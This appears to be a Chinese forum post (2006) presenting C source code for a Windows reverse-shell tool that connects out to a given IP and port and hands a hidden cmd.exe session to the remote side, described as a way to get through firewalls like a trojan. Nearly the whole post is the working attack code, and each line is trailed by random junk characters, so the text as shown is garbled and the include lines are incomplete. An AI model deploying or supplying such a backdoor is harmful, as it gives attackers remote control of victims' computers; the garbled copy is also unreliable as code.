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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 7WwE] ^M  
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/* ============================== NWP!V@WG  
Rebound port in Windows NT }=}wLm#&1  
By wind,2006/7 |-;VnC&UY  
===============================*/ <uxLG;R  
#include On54!m  
#include ({Pjz;xM  
P8Wv&5A  
#pragma comment(lib,"wsock32.lib") Bhv$   
^,#m y<{  
void OutputShell(); !JyY&D~`  
SOCKET sClient; ]jYFrOMy4S  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; SZEi+CRs0  
.`Q^8|$-K  
void main(int argc,char **argv) tbWf m5$  
{ !-.GfI:q  
WSADATA stWsaData; hf^<lJh~=  
int nRet; V$sY3,J7A%  
SOCKADDR_IN stSaiClient,stSaiServer; ZPyzx\6\  
r fzNw  
if(argc != 3) mBE&>}G<  
{ P#,;)HF  
printf("Useage:\n\rRebound DestIP DestPort\n"); *yaS^k\  
return; 0y6M;"&~E  
} &!OEd ]  
*ziR&Fr!  
WSAStartup(MAKEWORD(2,2),&stWsaData); XbqMWQN*  
t&:L?K)j  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); #c5jCy}n  
Yj#tF}nPC  
stSaiClient.sin_family = AF_INET; NcP/W>lN  
stSaiClient.sin_port = htons(0); tAF?. \x"g  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 8! rdqI   
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) pF4Z4?W  
{ u8]FJQ*\6+  
printf("Bind Socket Failed!\n"); __2<v?\  
return; ==&  y9e  
} 2ozh!8aL  
?oFd%|I  
stSaiServer.sin_family = AF_INET; 6,a H[ >W  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); * <\K-NSL  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Xv|=RNz  
gf1+yJ^d!  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) i=cST8!8N  
{ KWZhCS?[(  
printf("Connect Error!"); Zym6btc  
return; qh:Bc$S  
} 2lCFE)  
OutputShell(); 3f] ;y<Km  
} QYboX~g~p  
USEb} M`  
void OutputShell() j/z=<jA  
{ >m>F {v  
char szBuff[1024]; ca{MJz'  
SECURITY_ATTRIBUTES stSecurityAttributes; w?8SQI,~X  
OSVERSIONINFO stOsversionInfo; ;~EQS.Qp  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 5$: toL  
STARTUPINFO stStartupInfo; EU%,tp   
char *szShell; ^>?=L\[  
PROCESS_INFORMATION stProcessInformation; !: ^q_q4  
unsigned long lBytesRead; %'yrIR  
<;6{R#Tuh  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); {]< G=]'  
"FWx;65CR  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ,|{`(y/v  
stSecurityAttributes.lpSecurityDescriptor = 0; /{\ /e"5  
stSecurityAttributes.bInheritHandle = TRUE; I I+y  
mK[Z#obc=  
;^5k_\  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); motK}G  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0);  ch8a  
n4/Wd?#`  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); `8ac;b  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; f9W:-00QD  
stStartupInfo.wShowWindow = SW_HIDE; kFv*>>X`  
stStartupInfo.hStdInput = hReadPipe; t$18h2yOL  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; d )O^(y1r  
T&?g)  
GetVersionEx(&stOsversionInfo); NO o?  
( Jk& U8y  
switch(stOsversionInfo.dwPlatformId) @kWL "yy,  
{ +e-F`k  
case 1: 6O As%QZ  
szShell = "command.com"; #$I@V4O;#  
break; D\AVZ76F1  
default: Uj):}xgi'  
szShell = "cmd.exe"; l1)~WqhE}  
break;  X0VS a{  
} >u?.gJm~  
V4n~Z+k  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); .eR1\IAm  
H#~gx_^U  
send(sClient,szMsg,77,0); P>V oA  
while(1) )*~A|[  
{ z uV%`n  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); "bm|p/A  
if(lBytesRead) m2c'r3UEu  
{ )l7XZ_gw'  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ;=Ma+d#  
send(sClient,szBuff,lBytesRead,0); *an Ng<@  
} i6WH^IQM  
else 68Fl/   
{ j uA@"SG  
lBytesRead=recv(sClient,szBuff,1024,0); 2 DQVl  
if(lBytesRead<=0) break; ;xZ+1 zmL0  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); n#lbfN 4  
} 9D T<  
} %MeAa?G-#  
jE\ G_>  
return; gQy%T]  
}
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